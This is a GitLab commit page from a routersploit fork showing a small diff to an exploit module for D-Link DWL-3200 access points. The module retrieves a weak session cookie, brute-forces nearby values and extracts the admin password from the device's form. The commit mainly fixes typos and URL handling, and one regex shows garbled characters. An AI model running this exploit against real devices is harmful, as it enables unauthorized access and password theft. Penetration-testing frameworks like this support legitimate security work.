Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
03178845
Commit
03178845
authored
8 years ago
by
Joshua Abraham
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Code fixes
parent
411bc498
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
6 additions
and
5 deletions
+6
-5
dwl_3200ap_password_disclosure.py
.../modules/exploits/dlink/dwl_3200ap_password_disclosure.py
+6
-5
No files found.
routersploit/modules/exploits/dlink/dwl_3200ap_password_disclosure.py
View file @
03178845
...
@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
...
@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
'description'
:
'Exploits DLINK DWL3200 access points weak cookie value'
,
'description'
:
'Exploits DLINK DWL3200 access points weak cookie value'
,
'authors'
:
[
'authors'
:
[
'pws'
,
# Vulnerability discovery
'pws'
,
# Vulnerability discovery
'Josh Abraham <sinisterpatrician[at]google.com>'
,
# routesploit module
'Josh Abraham <sinisterpatrician[at]google.com>'
,
# route
r
sploit module
],
],
'references'
:
[
'references'
:
[
'https://www.exploit-db.com/exploits/34206/'
,
'https://www.exploit-db.com/exploits/34206/'
,
...
@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
...
@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
cookie_value
=
self
.
get_cookie
()
cookie_value
=
self
.
get_cookie
()
print_success
(
"Cookie retrived: {}"
.
format
(
cookie_value
))
print_success
(
"Cookie retri
e
ved: {}"
.
format
(
cookie_value
))
cookie_int
=
int
(
cookie_value
,
16
)
cookie_int
=
int
(
cookie_value
,
16
)
start
=
cookie_int
-
3600
start
=
cookie_int
-
3600
...
@@ -61,10 +61,11 @@ class Exploit(exploits.Exploit):
...
@@ -61,10 +61,11 @@ class Exploit(exploits.Exploit):
"""
"""
Method that retrieves current cookie from AP
Method that retrieves current cookie from AP
"""
"""
url
=
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
pattern
=
"RpWebID=([a-z0-9]{8})"
pattern
=
"RpWebID=([a-z0-9]{8})"
print_status
(
"Attempting to get cookie..."
)
print_status
(
"Attempting to get cookie..."
)
try
:
try
:
r
=
http_request
(
method
=
'GET'
,
url
=
self
.
target
,
timeout
=
3
)
r
=
http_request
(
method
=
'GET'
,
url
=
url
,
timeout
=
3
)
tgt_cookie
=
re
.
search
(
pattern
,
r
.
text
)
tgt_cookie
=
re
.
search
(
pattern
,
r
.
text
)
if
tgt_cookie
is
None
:
if
tgt_cookie
is
None
:
print_error
(
"Unable to retrieve cookie"
)
print_error
(
"Unable to retrieve cookie"
)
...
@@ -81,9 +82,9 @@ class Exploit(exploits.Exploit):
...
@@ -81,9 +82,9 @@ class Exploit(exploits.Exploit):
cookie
=
dict
(
RpWebID
=
cookie_int
)
cookie
=
dict
(
RpWebID
=
cookie_int
)
try
:
try
:
r
=
http_request
(
method
=
'GET'
,
url
=
url
,
cookie
=
cookie
,
timeout
=
10
)
r
=
http_request
(
method
=
'GET'
,
url
=
url
,
cookie
=
cookie
,
timeout
=
10
)
pattern
=
r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
if
(
'NAME="OldPwd"'
in
r
.
text
):
if
(
'NAME="OldPwd"'
in
r
.
content
):
print_success
(
"Cookie {} is valid!"
.
format
(
cookie_int
))
print_success
(
"Cookie {} is valid!"
.
format
(
cookie_int
))
pattern
=
r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
password
=
re
.
findall
(
pattern
,
r
.
content
)[
0
]
.
replace
(
'&'
,
';&'
)[
1
:]
+
";"
password
=
re
.
findall
(
pattern
,
r
.
content
)[
0
]
.
replace
(
'&'
,
';&'
)[
1
:]
+
";"
print_success
(
"Target password is : {}"
.
format
(
password
))
print_success
(
"Target password is : {}"
.
format
(
password
))
except
Exception
:
except
Exception
:
...
...
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment